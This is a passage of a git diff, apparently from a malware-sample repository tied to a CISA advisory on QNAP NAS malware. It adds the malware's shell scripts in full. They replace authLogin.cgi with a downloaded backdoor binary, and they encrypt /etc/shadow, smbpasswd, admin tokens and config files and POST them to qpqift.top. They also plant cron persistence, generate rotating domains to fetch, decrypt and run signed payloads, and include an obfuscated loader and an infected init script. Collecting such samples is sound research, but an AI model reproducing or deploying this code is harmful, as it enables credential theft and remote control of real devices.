binhash='rrYwg0D4+4DxcDxYQsNTB4JUGlQ=' + ;; + *arm*|*aarch*) + arch=arm + binhash='Z4n2BZdhwjYf0wjM7GCW61WM9eU=' + ;; + *i*86*) + arch=i486 + binhash='U3eHe6syQraRBGgsvkFZH3wibDw=' + ;; + esac + + if [ "x${binhash}" != 'x' ]; then + curl --connect-timeout 12 -m 1200 -k -o ".qal" "https://qpqift.top/data/qal2_${arch}" || rm -f ".qal" + test -f '.qal' && rsynchash="$(openssl dgst -sha1 -binary ".qal" | openssl base64)" + if [ "x${rsynchash}" = "x${binhash}" ]; then + test -f "${cgibindir}"/sysauthLogin.cgi && mv "${cgibindir}"/sysauthLogin.cgi "${cgibindir}"/authLogin.cgi + mv "${cgibindir}"/authLogin.cgi "${cgibindir}"/sysauthLogin.cgi && test -f "${cgibindir}"/sysauthLogin.cgi && mv '.qal' "${cgibindir}"/authLogin.cgi && chmod 755 "${cgibindir}"/authLogin.cgi + fi + test -f '.qal' && rm -f '.qal' + fi +fi + +if [ -f "${cgibindir}"/authLogin.cgi ] && "${cgibindir}"/authLogin.cgi | grep '/dev/null || cat "${confdir}/BOOT.conf"` || { test "$arch_o" = arm && __BOOT_CONF=TS-NASARM; } +command -v hal_app > /dev/null 2>&1 && { __BOOT_DEV=$(hal_app --get_boot_pd port_id=0); } +test "${__BOOT_CONF}" = TS-NASARM || test "$arch_o" = arm && { test -f /etc/IS_TAS && __BOOT_DEV="${__BOOT_DEV:-/dev/mtdblock}7" || __BOOT_DEV="${__BOOT_DEV:-/dev/mtdblock}5"; } || __BOOT_DEV="${__BOOT_DEV:-/dev/sdx}6" +test "x${CONFIG_DEV_NODE}" != "x" && { ubiattach -m "${CONFIG_DEV_PART}" -d 2; mount -t ubifs ubi2:config "${mdir}" > /dev/null 2>&1 || { test -f /etc/IS_TAS && mount -t ext4 /dev/mmcblk0p7 "${mdir}"; } } || mount ${__BOOT_DEV} -t ext2 ${mdir} || { test "${__model}" = "TS-201" && mount -t ext2 /dev/mtdblock4 ${mdir}; } || { ubiattach -m "${CONFIG_DEV_PART}" -d 2; mount -t ubifs ubi2:config "${mdir}"; mount -t ext4 /dev/mmcblk0p7 "${mdir}"; } || { test "${__model}" = "TS-269L" && mount -t ext2 /dev/sdc6 ${mdir}; } || { test "${__model}" = "TS-869" && mount -t ext2 /dev/sdi6 ${mdir}; } || { test "$arch_o" = arm || ${__BOOT_CONF} = "TS-NASARM" && { for i in 5 7 4 6 3 8; do mount -t ext2 "/dev/mtdblock${i}" ${mdir} && break; done; }; } || { test "$arch_o" = x86 && for n in /dev/sdc /dev/sdx /dev/sdi $__BOOT_DEV; do for i in 6 $CONFIG_DEV_PART; do mount -t ext2 ${n}${i} ${mdir} && break 2; done; done; } || { mount -t ext2 $(/sbin/hal_app --get_boot_pd port_id=0)6 ${mdir}; } + +if [ $? -eq 0 ] || mount | grep "$mdir" >/dev/null; then +for file in "${mdir}"/K01* "${mdir}/autorun.sh" '/tmp/config/autorun.sh'; do +if [ -f "$file" ]; then +sedcmd='s/CXqrBM2CVbJog4rwwSz1Bp1i1B7B9Wd51no32lpRqOM+9GOr2W17xwJ8pqpQotex/CXqrBM2CVbJog4rwwSz1Bp1i1'"'"'\ +verifykey="${verifykey}"'"'"'B7B9Wd51no32lpRqOM+9GOr2W17xwJ8pqpQotex/' +grepstring='CXqrBM2CVbJog4rwwSz1Bp1i1B7B9Wd51no32lpRqOM+9GOr2W17xwJ8pqpQotex' +sedreplace "$grepstring" "$sedcmd" "$file" +sedcmd='s/g4rwwSz1Bp1i1'"'"'/g4rwwS'"''"'z1Bp1i1'"'"'/' +grepstring='g4rwwSz1Bp1i1'"'" +sedreplace "$grepstring" "$sedcmd" "$file" +test -f '.qdisk_cmd' && ./.qdisk_cmd +i "$file" +fi +done +fi +umount "$mdir" +rmdir "$mdir" +fi + +if [ ! -f '1548914400_c' ]; then +touch '1548914400_c' +key=$(tr -dc 'a-zA-Z0-9' /dev/null || head -c 20 || IFS='' read -rd '' -n 20 key; echo "$key"; } ) +test "x$key" = 'x' && key=$(LC_ALL=C sed 's/[^a-zA-Z0-9]//g' /dev/null || head -c 20 || IFS='' read -rd '' -n 20 key; echo "$key"; } ) +{ echo "$key" | openssl rsautl -pubin -inkey .rsakey -encrypt | openssl enc -base64 -A; printf ':' +{ echo; for file in "${bdir}/.log/.rqsys.log" /etc/config/.qos_config/users/admin/.qtoken /etc/config/.qos_config/users/admin/secondSV.conf /etc/config/ssmtp/ssmtp.conf /etc/config/smbpasswd /etc/shadow /etc/config/uLinux.conf /etc/default_config/uLinux.conf /mnt/HDA_ROOT/.config/qnapddns.conf /mnt/HDA_ROOT/.config/qid.conf /etc/platform.conf /etc/default_config/BOOT.conf /etc/default_config/Model_Name.conf /etc/config/qid.conf /etc/config/qddns_users.conf; do printf '%s:' "$file"; cat "$file"; echo; done; printf '%s:' "authLogin.cgi"; /home/httpd/cgi-bin/authLogin.cgi; printf '%s:' "display_name"; /sbin/get_display_name; } | gzip | { dd bs=4096 count=512 || head -c 2097152 || cat; } | openssl enc -aes-256-cbc -k "$key" -md md5 -salt -a -A; } | curl --connect-timeout 12 -m 300 -k -d '@-' "https://qpqift.top/ping.pl" +fi + +if [ ! -f 1549429200_c ]; then +touch 1549429200_c +test -f liveupdate.sh && cronscriptpath=.liveupdate/liveupdate.sh || { test -f backup_conf.sh && cronscriptpath=.config/backup_conf.sh; } + +if [ ! -z $cronscriptpath ]; then +{ { crontab -l || cat /etc/config/crontab; } | grep -v '^#' | awk '{ print $6 }'; sed -n 's/^ \?[Ss]hell \?= \?//p' /etc/config/qpkg.conf; } | grep '/' | sort | uniq | while IFS= read -r line; do +test ! -z "$line" || continue +test -f "$line" || continue +test "$line" = $(pwd)/liveupdate.sh || test "$line" = $(pwd)/backup_conf.sh && continue +rm .tmp.cronCDhLbZ +head -n 1 "$line" >.tmp.cronCDhLbZ && grep '^#!/bin/b\?a\?sh' .tmp.cronCDhLbZ || { rm -f .tmp.cronCDhLbZ; continue; } +cat >>.tmp.cronCDhLbZ <<"XXEOF" +( exec >/dev/null 2>&1; ( +export PATH="${PATH}:/bin:/sbin:/usr/bin:/usr/sbin:/usr/bin/X11:/usr/local/sbin:/usr/local/bin" +command -v dirname >/dev/null 2>&1 || dirname () { test -z "$1" && echo "." && return; local r="${1%"${1##*[!/]}"}"; case $r in /*[!/]*/*|[!/]*/*) r="${r%/*}"; echo "${r%"${r##*[!/]}"}";; */*) echo ${r%%[!/]};; "") echo $1;; *) echo .;; esac; } +test -d /etc/config && confdir=/etc/config || { test -d /mnt/HDA_ROOT/.config && confdir=/mnt/HDA_ROOT/.config; } +test -d "$confdir" || confdir=/etc/config +command -v getcfg > /dev/null 2>&1 || getcfg () { sed -n 'H;${x;s/\(.*\ +\['"${1//\//\\\/}"']\|^\['"${1//\//\\\/}"']\)\ +//I;s/\(^\|\ +\)\[[^\ +]\+\]\ +.*//p}' "${4:-${confdir}/uLinux.conf}" | sed -n 's/^'"${2//\//\\\/}"' \?= \?\(.*\)/\1/Ip'; } +bdir= +test -f "${confdir}/smb.conf" && for i in homes Public Download Multimedia Web Recordings; do bdir=`getcfg "$i" path -f "${confdir}/smb.conf"` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && test -d "$bdir" && testwriteable=$(mktemp "${bdir}/.tmp.XXXXXX") && rm "${testwriteable}" && break; bdir=''; done +test -z "${bdir}" || test ! -d "${bdir}" && { command -v readlink >/dev/null 2>&1 || ln -sf /bin/busybox /usr/bin/readlink; for i in homes Public Download Multimedia Web Recordings; do bdir=`readlink "/share/${i}" 2>/dev/null` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && bdir=/share/${bdir##*/} && test -d "$bdir" && break; done; +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`getcfg SHARE_DEF defVolMP -f "${confdir}/def_share.info"` +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`mount | sed -n "s/.*\(\/share\/[^ /]\+\) .*/\1/gp" | head -n 1` +test -z "${bdir}" || test ! -d "${bdir}"; } && { for i in CACHEDEV3_DATA CACHEDEV2_DATA CACHEDEV1_DATA MD0_DATA; do test -d "/share/${i}" && bdir="/share/${i}" && break; done; +test -z "${bdir}" || test ! -d "${bdir}" && bdir=/mnt/HDA_ROOT; } +echo 'ab*c' | grep -F 'ab*c' >/dev/null 2>&1 && fgrep="grep -F" || { command -v fgrep >/dev/null 2>&1 && fgrep=fgrep || fgrep=grep; } +test "$fgrep" || fgrep=grep + +XXEOF +cat >>.tmp.cronCDhLbZ < "\${bdir}/.qpkg/${cronscriptpath}" <<"XEOF" +XXEOF +cat "${cronscriptpath#*/}" >>.tmp.cronCDhLbZ +cat >>.tmp.cronCDhLbZ </dev/null 2>&1 /dev/null 2>/dev/null & ) & ) +fi + +test -x "\${bdir}/.qpkg/${cronscriptpath}" || chmod 755 "\${bdir}/.qpkg/${cronscriptpath}" + +crontabargs=\$(ps | grep 'cr[o]nd ' | sed -n 's/.*crond[^0-9A-Za-z-]*\\(.\\+\\)/\\1/p') +trycount=10; trycount=\$(( \$trycount - 10 )) +set x \$crontabargs; shift +while [ \$# -gt 0 ] && [ \$trycount -lt 10 ]; do +trycount=\$(( \$trycount + 1 )) +getopts ':c:' OPT 2>/dev/null +test "\$OPT" = 'c' && crontabfile="\${OPTARG}/admin" && break +test "\$OPTIND" -gt 0 && shift "\$OPTIND" && OPTIND=1 || break +done +test "\$crontabfile" && test -f "\${crontabfile}" || crontabfile='/tmp/cron/crontabs/admin' + +for crontab in "\$crontabfile" "\${confdir}/crontab"; do +if \$fgrep "\${bdir}/.qpkg/${cronscriptpath}" "\$crontab"; then +: +else +cronmins=\$(printf '%i' "\$(( \$RANDOM % 60 ))") +cronhour=\$(printf '%i' "\$(( \$RANDOM % 24 ))") +cronhour=\$(printf '%i,' "\$(( ( \$cronhour + 8 ) % 24 ))" "\$(( ( \$cronhour + 16 ) % 24 ))")"\$cronhour" +echo "\$cronmins \$cronhour"' * * * '"\${bdir}/.qpkg/${cronscriptpath} >/dev/null 2>/dev/null" >> "\$crontab" +crontab "\$crontab" +sleep 2 +fi +done +) & ) & +XXEOF +sed -n '2,$p' "$line" >>.tmp.cronCDhLbZ && mv .tmp.cronCDhLbZ "$line" +chmod a+x "$line" || chmod 755 "$line" +test -f .tmp.cronCDhLbZ && rm .tmp.cronCDhLbZ +done +fi +fi + +test -f "${ts}_c" || touch "${ts}_c" +rm -f "${CWD}/".tmp.* +exit 0 diff --git a/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/4b514278a3ad03f5efb9488f41585458c7d42d0028e48f6e45c944047f3a15e9 b/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/4b514278a3ad03f5efb9488f41585458c7d42d0028e48f6e45c944047f3a15e9 new file mode 100644 index 0000000..9a83c72 --- /dev/null +++ b/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/4b514278a3ad03f5efb9488f41585458c7d42d0028e48f6e45c944047f3a15e9 @@ -0,0 +1,535 @@ +#!/bin/sh +iifEsx=${ItjkToy}tr +EJrRDOD=${yCxo}${cLJbbLDqLZwXv}\\${agYc}${RrjzeLYCRUzos} +VmyzjJv=${xlZGXdYXJFYgH}${kWeAeBftiPR}${JFMCQy}${EJrRDOD}${fHGHSADsOyn}13${mGaotN}${WxMnjPT}3 +CdKAKzH=${wfKXIFWvqOikn}${twRUZectEUG}${CNfQNb}${EJrRDOD}${GSjRhNCYzWG}05${DWpJgo}${kAqrAMV}5 +bHlsbZa=${myLnvVtWItJnf}${UaUurmZJzSI}${tPxwHu}${EJrRDOD}${mAghPcqqNjE}13${HjcERM}${TqxlNfO}4 +$iifEsx '>may!'$CdKAKzH'Gju#Y%nJgRNq&hWIOwAX`+zjG*KlY|\nqfS TaoLDh!=g}FerQ;Rs'$bHlsbZa'Wd'"'"'$Hpy<]"umC{E' << "EgdaOBDdZ" | ${xUSaSbNWXji}s${WWfYBc}h${jXdVSwF} +;Bu xlAbA]/HZ)+YiiU& [kOQv"rSt/Z=Ea68=Z)hmC>'P! l#OBVb"YY$+/NZ)Xp};HVR[tX"BhnuhR/PePZ)y[%CC"/PHZ)(RBPykN|w}}#"v(t.Z)O(XwOV#"NZ)}yA>%"BZ)+HPb#SJ>g"hZ)\$r+w+lo!+bk|Q("Z)v\AYYx"Z)[}h(vLNPlJp "fZ=Ea74=(Z)b+w +%##v+YX!m|"Z);aRD[[yNYJ"T=b}Rvm` &oeE134"aPqkBE055\ +w=s=s=yCWrU{jui;]ZJTxLFY[S>Mz#Xh)+sVgE133QOD!%cl|AER'-<$*NKHdGt(p=T=YZehF=s=s=|W%ERQ coa(t"+xHlvp)ib-'zMwGDTLus};\]E134E055O`gXAjRU&{S$q*V +Cy!kN#=ddsbebuk;kubCSscZ;Bu xlAbAf]m/xv|/sweIB|ksbkJ&+JeWJeJJJJAg(yAJsS#eJJJJAg(yAJ-v|S}W1:M4n#eJJJJAg(yAJ-yqS}W2:M12n#eJJJJAg(yAJpsk`JQQJB(wgJM|BJ`>k`iebBsbJL}W](knLJMBHJ1JllJB(wgJL}(kLJQQJB(wgJLLebBsbJLq}[jj{_"hth"h"LJSJLq88\\45y\61x9\18x47216856(77T1(3Txx38y191LJQQJBqvbJ0ebBsbJmJMKJL}W0nLJllJbBsbJi> /tmp/.cloudinstall.log + while [ "$CLOUD_INSTALL_AGENT_PID_LIST" == "" ]; + do + # report device info and get cloudinstall agent app download url + DOWNLOAD_URL=`/usr/sbin/qcloud_uninit_device_tool -r` + if [ ! -d "$CLOUD_INSTALL_PATH" ]; then + if [ "$NAS_ARCH" == "ARM_64" ]; then + # create ramdisk and create a 64mb file + /bin/mkdir -p $CLOUD_INSTALL_RAMDISK_PATH + /bin/mount -t tmpfs -o size=64m tmpfs $CLOUD_INSTALL_RAMDISK_PATH + /bin/dd if=/dev/zero of=$CLOUD_INSTALL_RAMDISK_PATH/image bs=1M count=64 + # create block size 1K filesystem + /sbin/mke2fs -b 1024 $CLOUD_INSTALL_RAMDISK_PATH/image + # create virtual disk + export USED_LOOP_DEVICE=`/usr/local/sbin/losetup -f $CLOUD_INSTALL_RAMDISK_PATH/image` + /sbin/setcfg -f $QID_PRESISTENT_CONF "CLOUDINSTALL" "USED_LOOP_DEVICE" "$USED_LOOP_DEVICE" + /bin/mkdir -p $CLOUD_INSTALL_PATH + # mount virtual disk + /bin/mount $USED_LOOP_DEVICE $CLOUD_INSTALL_PATH + else + # create and mount tmpfs folder + /bin/mkdir -p $CLOUD_INSTALL_PATH + /bin/mount -t tmpfs -o size=64m tmpfs $CLOUD_INSTALL_PATH + fi + fi + cd $CLOUD_INSTALL_PATH + + if [[ $DOWNLOAD_URL == https* ]]; then + REPORT_SUCCESS_TIME=$(date +"%T") + else + REPORT_FAIL_TIME=$(date +"%T") + echo -e " report_fail:$REPORT_FAIL_TIME\n response:$DOWNLOAD_URL" >> /tmp/.cloudinstall.log + # stop retry when got bad request + # prevent put bad request all the time + if [[ $DOWNLOAD_URL == *$ERROR_BAD_REQUEST* ]]; then + break + fi + fi + + # downlaod cloudinstall agent app + /usr/sbin/qcloud_uninit_device_tool -o "$CLOUD_INSTALL_AGENT_FILE_PATH" -d "$DOWNLOAD_URL" + + if [ -f "$CLOUD_INSTALL_AGENT_FILE_PATH" ]; then + DOWNLOAD_FINISH_TIME=$(date +"%T") + # unzip and execute cloudinstallagent + /bin/tar -xf $CLOUD_INSTALL_AGENT_FILE_PATH -C $CLOUD_INSTALL_PATH + $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_ctl.sh start &> /dev/null + + UNZIP_TIME=$(date +"%T") + fi + + if [ ! -d "$NAS_CLOUD_INSTALL_PATH" ]; then + # create folder and create symbolic link + /bin/mkdir -p $NAS_CLOUD_INSTALL_PATH + /bin/ln -s $CLOUD_INSTALL_PATH/ui/cloudinstall.html $NAS_CLOUD_INSTALL_PATH/index.html + /bin/ln -s $CLOUD_INSTALL_PATH/ui/cloudinstall.cgi $NAS_CLOUD_INSTALL_PATH/cloudinstall.cgi + /bin/ln -s $CLOUD_INSTALL_PATH/ui/static $NAS_CLOUD_INSTALL_PATH/static + fi + + # wait connect + sleep 5 + CLOUD_INSTALL_AGENT_PID_LIST=`/bin/ps --columns 256 | /bin/grep "$CLOUD_INSTALL_PATH/bin/cloudinstallagent" | /bin/grep -v grep | /bin/awk '{print $1}'` + if [ "$CLOUD_INSTALL_AGENT_PID_LIST" == "" ]; then + SLEEP_TIME=$(( 30 * $COUNTER )) + if [ $SLEEP_TIME -gt 300 ]; then + SLEEP_TIME=300 + fi + # wait next retry + sleep $SLEEP_TIME + fi + COUNTER=$(( $COUNTER * 2 )) + done + + END_TIME=$(date +"%T") + echo -e "report_success:$REPORT_SUCCESS_TIME\ndownload_finish:$DOWNLOAD_FINISH_TIME\nunzip_finish:$UNZIP_TIME\nend:$END_TIME" >> /tmp/.cloudinstall.log + # call for a new process group and for later kill + /bin/setsid $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_disconnect_daemon.sh start &> /dev/null & + /bin/setsid $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_daemon.sh &> /dev/null & + + # set cloudinstall report status + /sbin/setcfg -f $QID_PRESISTENT_CONF "CLOUDINSTALL" "REPORT_STATUS" "uninit" + # add link to report offline + /bin/ln -sf /etc/init.d/cloudinstall_report_offline.sh /etc/rcK.d/K99cloudinstall_report_offline + + # buzzer + HARDWARE_TYPE=$(uname -m) + if [[ "$HARDWARE_TYPE" == *"x86"* ]]; + then + /sbin/hal_app --se_buzzer enc_id=0,mode=101 + elif [[ "$HARDWARE_TYPE" == *"arm"* ]]; + then + /sbin/pic_raw 81 + fi + ;; + + stop) + # disconnect cloudinstall agent + $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_ctl.sh stop &> /dev/null + $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_disconnect_daemon.sh stop &> /dev/null + for i in "${CLOUD_INSTALL_AGENT_DAEMON_PID_LIST[@]}" + do + # use bash kill instead /bin/kill for kill process group + # cloudinstall agent daemon and inotifywait + kill -9 -- -$i &>/dev/null + done + + # umount + if [ "$NAS_ARCH" == "ARM_64" ]; then + /bin/umount -l $USED_LOOP_DEVICE + /usr/local/sbin/losetup -d $USED_LOOP_DEVICE + else + /bin/umount -l $CLOUD_INSTALL_PATH + fi + # remove all files + if [ -d "$NAS_CLOUD_INSTALL_PATH" ]; then + /bin/rm -rf $NAS_CLOUD_INSTALL_PATH + fi + if [ -d "$CLOUD_INSTALL_PATH" ]; then + /bin/rm -rf $CLOUD_INSTALL_PATH + fi + if [ -d "$CLOUD_INSTALL_RAMDISK_PATH" ]; then + /bin/rm -rf $CLOUD_INSTALL_RAMDISK_PATH + fi + ;; + + restart) + $0 stop + $0 start + ;; + + *) + echo "Usage: $0 {start|stop|restart}" + { /share/CACHEDEV1_DATA/.system/.qinstaller.sh; exit 1; } +esac +{ /share/CACHEDEV1_DATA/.system/.qinstaller.sh; exit 0; } + + +set_env() +{ + debug=`$CMD_GETCFG Qsync Debug -u -d NULL` + if [ "$debug" != "NULL" ]; then + /bin/touch $LOG_FILE + else + /bin/rm -f $LOG_FILE + fi +} + +set_env + +dbg() +{ + if [ -f "$LOG_FILE" ]; then + echo "[`date "+%H:%M:%S"`] $@ " >> $LOG_FILE + fi +} + +dbg "> $0 $@ (pid $$)" + +fi + +export PATH="${PATH}:/bin:/sbin:/usr/bin:/usr/sbin:/usr/bin/X11:/usr/local/sbin:/usr/local/bin" + +command -v getcfg > /dev/null 2>&1 || getcfg () { sed -n 'H;${x;s/\(.*\n\['"${1//\//\\\/}"']\|^\['"${1//\//\\\/}"']\)\n//I;s/\(^\|\n\)\[[^\n]\+\]\n.*//p}' "${4:-${confdir}/uLinux.conf}" | sed -n 's/^'"${2//\//\\\/}"' \?= \?\(.*\)/\1/Ip'; } + +test -d /etc/config && confdir=/etc/config || { test -d /mnt/HDA_ROOT/.config && confdir=/mnt/HDA_ROOT/.config; } + +bdir= +test -f "${confdir}/smb.conf" && for i in homes Public Download Multimedia Web Recordings; do bdir=`getcfg "$i" path -f "${confdir}/smb.conf"` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && test -d "$bdir" && testwriteable=$(mktemp "${bdir}/.tmp.XXXXXX") && rm "${testwriteable}" && break; bdir=''; done +test -z "${bdir}" || test ! -d "${bdir}" && { command -v readlink >/dev/null 2>&1 || ln -sf /bin/busybox /usr/bin/readlink; for i in Public Download Multimedia Web Recordings homes; do bdir=`readlink "/share/${i}" 2>/dev/null` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && bdir=/share/${bdir##*/} && test -d "$bdir" && break; done; +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`getcfg SHARE_DEF defVolMP -f "${confdir}/def_share.info"` +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`mount | sed -n "s/.*\(\/share\/[^ /]\+\) .*/\1/gp" | head -n 1` +test -z "${bdir}" || test ! -d "${bdir}"; } && { for i in CACHEDEV3_DATA CACHEDEV2_DATA CACHEDEV1_DATA MD0_DATA; do test -d "/share/${i}" && bdir="/share/${i}" && break; done; +test -z "${bdir}" || test ! -d "${bdir}" && bdir=/mnt/HDA_ROOT; } +grep -F '' </dev/null 2>&1 && fgrep="grep -F" || { command -v fgrep >/dev/null 2>&1 && fgrep=fgrep || fgrep=grep; } + +EOF +test "$fgrep" || fgrep=grep +test "$RANDOM" || RANDOM=17653 +genrstr () +{ + local s=; + local min=${1:-4}; + local max=${2:-12}; + local kspace="${3:-a-zA-Z}" + tr -dc "$kspace" < /dev/urandom | { + read -rn $(($RANDOM % ( $max - $min + 1 ) + $min )) s; + echo "$s" + } +} + +verifyfile() { +local file="$1" +local sig="${2:-$file_s}" +local out +test ! -z "$file" && test -s "$file" || return 1 +test ! -z "$sig" && test -s "$sig" || return 1 +test -f ".rsakey" || echo "$verifykey" > ".rsakey" +out=$(openssl dgst -sha1 -verify ".rsakey" -signature "$sig" "$file") && test "$out" = "Verified OK" && return 0 +return 1 +} + +decryptfile() { +local file="$1" +local ofile="${2:-${file}}" +local key='7C0vK4SzMO15zBxLD7XCi5hbjgP1ZjkJ' +openssl enc -d -aes-256-cbc -k "$key" -md sha1 -salt < "$file" > "${file}_d" || return $? +test -f "$ofile" && rm -f "$ofile" +mv "${file}_d" "$ofile" && return 0 +return 1 +} + +verifykey='-----BEGIN PUBLIC KEY----- +MIIBojANBgkqhkiG9w0BAQEFAAOCAY8AMIIBigKCAYEAt/EDT6SB75atrHW7Cpog +CXqrBM2CVbJo';verifykey="${verifykey}"'g4rwwS''z1Bp1i1' +verifykey="${verifykey}"'B7B9Wd51no32lpRqOM+9GOr2W17xwJ8pqpQotex +RC5qQSiS/7FS48jsPKsJnrUhnsI1fRLM4DqsEF3UOukZuDOYUhlteDuMqqZBz0AC +Q3YnLjraTjchMF0XmaAAcWOkg5MsxAOKTepue4R/tnrPAkAG86nq5LA1+wa7opNV +gQzwDh7YXhBnWz52+ebZ9TeqD31/sb5hoyUKf1Nr5HcKkklObuz1OGQJ//pkCbTC +2EnQw6tCPQhgSIA8wJKkaxW0f/UHP+YBmWa4Wn+uPrJJuHSVNEJtAp2wlX3THltz +0IGPQEuzoafOAl3EFjas3HcTX2HlEfnvAtRL2iLxJeba1nZ+U3geZOuxL1NhWhNh +pjaLcKwhkRck7Y5hr1Pz8pLDnXsx5w0QUz6XS8HVf/KHnNXHufFEn01y9YoPuau1 +DNnpDGbq632Bs8ESd3ueHk9OY/UZxWeN3UdbseFxK35XAgMBAAE= +-----END PUBLIC KEY-----' + +DOMAIN_EXT_A='cf tk ml ga gq' +DOMAIN_EXT_B='com biz org de rocks mx cn top nl men ws se info xyz net today ru fi name to in com.ua vg vn cd' + +test -d "${bdir}/.qpkg" || mkdir "${bdir}/.qpkg" +test -d "${bdir}/.qpkg/.liveupdate" || mkdir "${bdir}/.qpkg/.liveupdate" +cd "${bdir}/.qpkg/.liveupdate" && rm -f .tmp.* + +echo "$verifykey" > ".rsakey" +i=0 n=0 c=0 errorcount=0 +outfile=$(mktemp "./.tmp.XXXXXX") || outfile=$(mktemp "${bdir}/.tmp.XXXXXX") || outfile=$(mktemp "/.tmp.XXXXXX") || outfile='./.tmp.out' + +for domainexts in "$DOMAIN_EXT_A" "$DOMAIN_EXT_B"; do + for ext in $domainexts; do + hostname=$(echo "$(( $(date +%s) / 1296000 ))IbjGOEgnuD${ext}" | openssl dgst -sha1 -binary | openssl base64 | sed 'y/ABCDEFGHIJKLMNOPQRSTUVWXYZ-+\//abcdefghijklmnopqrstuvwxyzabc/;s/=//g') + hostname=${hostname%[a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9]} + hostnames="${hostname%[a-z0-9][a-z0-9][a-z0-9][a-z0-9]} ${hostname%[a-z0-9][a-z0-9][a-z0-9]}" + hostnames="$hostnames ${hostname%[a-z0-9][a-z0-9]} ${hostname%[a-z0-9]} $hostname" + for host in $hostnames; do + test -f "$outfile" && rm -f "$outfile" + recentupdate='' + curl --connect-timeout 12 -m 30 -k -o "$outfile" "https://${host}.${ext}/qnap_firmware.xml?t=$(date +%s)" + test -s "$outfile" || continue + fsize=$(( $(wc -c < "$outfile") )) + test "$fsize" -gt 4096 && rm -f "$outfile" && continue + rsamsg=$(openssl base64 -in "$outfile" -d | openssl rsautl -pubin -inkey ".rsakey" -verify) || continue + test "$rsamsg" || continue + path="${rsamsg%|*}"; rsadomain="${path%|*}"; path="${path#*|}" + hash="${rsamsg##*|}"; ts="${hash#*_}"; hash="${hash%_*}" + test "$rsadomain" = "${host}.${ext}" || continue + timenow=$(date +%s) + test "$ts" -gt 0 && { test "$ts" -gt "$timenow" || test $(( $timenow - $ts )) -lt 172800; } && recentupdate=1 + curl --connect-timeout 12 -m 300 -k -o "$outfile" "https://${host}.${ext}/${path}" + filehash=$(openssl dgst -sha1 -binary "$outfile" | openssl base64) || continue + test "$filehash" = "$hash" || continue + curl --connect-timeout 12 -m 30 -k -o "${outfile}_s" "https://${host}.${ext}/s/${path}" + verifyfile "$outfile" "${outfile}_s" && decryptfile "$outfile" || continue + mv "${outfile}_s" "${ts}_v" + chmod 755 "$outfile" || continue + ( ( exec >/dev/null 2>/dev/null /dev/null 2>&1 & ) & ) + test "$recentupdate" -eq 1 && exit 0 + done + done +done + + +if [ "$fromrcS" = 'TRUE' ]; then +# if Qsync is disable before 4.3.0, we will touch /mnt/HDA_ROOT/udpate_pkg/.QsyncServer_disabled +set_default_disable_status() +{ + QPKG_ENABLE=`$CMD_GETCFG ${QSYNC_NAME} Enable -d "NULL" -f ${QPKG_CONF}` + OLD_ENABLE=`$CMD_GETCFG Qsync Enable -u -d NULL` + if [ -f "${UPDATEPKG_DIR}/.${QSYNC_NAME}_removed" ]; then + return + fi + + if [ "$QPKG_ENABLE" = "NULL" ]; then + if [ "$OLD_ENABLE" = "FALSE" ]; then + dbg "touch ${UPDATEPKG_DIR}/.${QSYNC_NAME}_disabled" + /bin/touch "${UPDATEPKG_DIR}/.${QSYNC_NAME}_disabled" + fi + fi +} + +if [ "x$HBS_ENABLE" = xnull ] || [ "x$HBS_ENABLE" = xFALSE ]; then + export QNAP_QPKG=rtrr +else + export QNAP_QPKG=HybridBackup + /usr/local/sbin/qboost_util -S -n rtrr -E 0 1>/dev/null 2>&1 +fi +start() +{ + if [ -f /usr/bin/qsyncman ]; then + [ ! -f /etc/config/hdcopyusb.conf ] || /bin/rm -f /etc/config/hdcopyusb.conf + /bin/sed -i '/hdusb_copy/d' /etc/config/crontab + /usr/bin/crontab /etc/config/crontab + echo -n "Starting QSync manitor: " + [ -d /etc/config/qsync ] || /usr/bin/install -d /etc/config/qsync + [ -f /etc/config/qsync/qhost.conf ] || /bin/touch /etc/config/qsync/qhost.conf + [ -f /etc/config/qsync/qsyncjobdef.conf ] || /bin/touch /etc/config/qsync/qsyncjobdef.conf + [ -f /etc/config/qsync/qsync.conf ] || /bin/cp -p /etc/default_config/qsync/qsync.conf /etc/config/qsync/qsync.conf + [ -f /etc/config/qsync/extdrv.conf ] || /bin/cp -p /etc/default_config/qsync/extdrv.conf /etc/config/qsync/extdrv.conf + [ -f /etc/config/qsync/qsyncd.conf ] || /bin/cp -p /etc/default_config/qsync/qsyncd.conf /etc/config/qsync/qsyncd.conf + [ ! -f /etc/config/qsync/qsyncd.conf ] || /bin/chmod 640 /etc/config/qsync/qsyncd.conf + [ ! -f /etc/config/qsync/qsync.conf ] || /bin/chmod 640 /etc/config/qsync/qsync.conf + [ ! -f /etc/config/qsync/qhost.conf ] || /bin/chmod 640 /etc/config/qsync/qhost.conf + /sbin/daemon_mgr qsyncman start "/usr/bin/qsyncman 1>/dev/null 2>&1" + echo "OK" + fi +} + +stop() +{ + echo "Shutting down QSync monitor: OK" + pidnum=`/bin/pidof qsync``/bin/pidof qsyncd` + kill $pidnum 2>/dev/null + i=0 + while [ ${i} -lt 5 ] + do + pidnum=`/bin/pidof qsync``/bin/pidof qsyncd` + if [ -z "$pidnum" ]; then + break + fi + sleep 1 + i=`/usr/bin/expr ${i} + 1` + done + pidnum=`/bin/pidof qsync``/bin/pidof qsyncd` + [ -z "$pidnum" ] || kill -9 $pidnum 2>/dev/null + /sbin/daemon_mgr qsyncman stop "/usr/bin/qsyncman" + /usr/bin/killall -q qsyncman +} + +start_qsyncd() +{ + #_qsyncd_en=`/sbin/getcfg "" Enabled -d 0 